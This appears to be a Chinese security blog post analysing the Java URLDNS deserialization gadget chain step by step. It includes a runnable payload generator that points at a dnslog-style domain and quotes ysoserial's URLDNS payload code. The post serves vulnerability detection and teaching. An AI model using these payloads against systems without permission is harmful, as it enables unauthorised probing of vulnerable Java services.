URLDNS链是一条比较简单的利用链,它会发起一次URL请求,通常用于配合dnslog来测试是否存在反序列化漏洞,属于JDK自带,不用依赖第三方。
下面以JDK 1.8为例跟踪一下调用链:
HashMap中重写了readObject方法,在putVal时会调用hash(key)计算key的哈希
如果key不为空的话则会调用key的hashcode方法计算哈希值
因为我们传递的key是URL类型,所以会进入URL的hashcode方法
当hashcode=-1时,会调用handler的hashCode方法,而在URL.java中,hashCode默认等于-1。handler的类型是URLStreamHandler
继续跟进去URLStreamHandler的hashCode方法,注意在这里调用了getHostAddress(u),把我们作为key的URL传递了进去
跟进getHostAddress(),其实在getHostAddress()方法中已经开始解析host了(host就是我们传入的URL)
跟进InetAddress类,从注解中就可以知道这个类是用来解析URL的(通过主机名获取IP地址)
因为HashMap实现了Serializable接口,重写了readObject方法,导致在接下来调用hashCode时,能够成功通过hashCode()方法,一步一步调用getHostAddress(),进而发起远程请求触发dnslog。
代码示例:
下面我们用实际的代码去看看这个流程
这里我们传入了一个DNS地址
在进行put操作时会调用putVal的hash(key)方法
因为key不为空,所以会调用URL的hashCode方法
此时hashCode=-1,所以会继续调用URLStreamHandler的hashCode方法,在URLStreamHandler的hashCode方法中,会调用getHostAddres
继续往下跟,在getHostAddress方法中,442行开始解析我们传入的DNS地址
此时可以看到在URLStreamHandler的hashCode方法中,getHostAddres()已经成功解析了我们传入的DNS地址
此时我们也收到了DNS请求
⚡有一个问题就是上述操作是在序列化的时候进行的,但是我们的
payload要被序列化输出才能利用,而序列化的时候就被执行一次,则会造成误报。
那如何才能在序列化的时候不发起DNS请求呢?
因为只有在进入URLStreamHandler的hashCode方法时,getHostAddres()才会解析我们传入的URL,那我们在HashMap进行put操作之前不让其进入URLStreamHandler的hashCode方法,那么在序列化操作时也就不会进行域名解析。
在URL类的hashCode方法中可以看到,当hashCode!=-1时,会直接返回hashCode。
所以我们要做的就是在进行put操作之前将hashCode的值改为非-1的数字。这里就需要用到Java的反射机制。
我们在put操作之前,将hashCode值改为了123,所以在序列化时,就不会调用getHostAddres(),同样也不会有DNS请求。
那如何在反序列化的时候发起DNS请求呢?
只需要在put操作之后将hashCode值改为-1即可
这时在进行反序列化就会发起DNS请求
Payload
package URLDNSTest;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class EXP {
public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashmap=new HashMap<URL, Integer>();
URL url=new URL("http://dpdzsoridm.dgrh3.cn");
Class c=url.getClass();
Field urlhashCode=c.getDeclaredField("hashCode"); //获取URL的hashCode属性
urlhashCode.setAccessible(true);
urlhashCode.set(url,123); //在put操作之前将hashCode值改为123
hashmap.put(url,1);
urlhashCode.set(url,-1); //在put操作之后将hashCode值改回-1
serialize(hashmap);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream s=new ObjectOutputStream(new FileOutputStream("test.txt"));
s.writeObject(obj);
}
}
ysoserial的URLDNS链
Github地址:
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java
关键代码
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
// 避免在payload创建期间进行DNS解析
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap();
URL u = new URL(null, url, handler);
ht.put(u, url);
// 重置URL的hashCode缓存,以确保下次调用hashCode时触发DNS解析
Reflections.setFieldValue(u, "hashCode", -1);
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args); // 运行Payload
}
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null; // 返回null以避免任何连接操作
}
protected synchronized InetAddress getHostAddress(URL u) {
return null; // 返回null以避免任何DNS解析
}
}
}
在ysoserial的URLDNS链中SilentURLStreamHandler类继承了URLStreamHandler,并重写openConnection和getHostAddress方法。非常的简单粗暴,直接返回null,不发起DNS请求。
而且在URL.java中,由于handler被transient关键字修饰,在序列化对象的时候,handler属性不会被序列化。意味着重写的方法并不会带进我们的payload中,这样我们在触发反序列化漏洞时,getHostAddress并没有被重写,能够正常请求我们的网址。妙啊🤩
参考链接:
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java
https://github.com/java-sec/URLDNS-gadget?tab=readme-ov-file
https://blog.csdn.net/qq_48201589/article/details/136049878
原文始发于微信公众号(安全攻防屋):URLDNS链分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论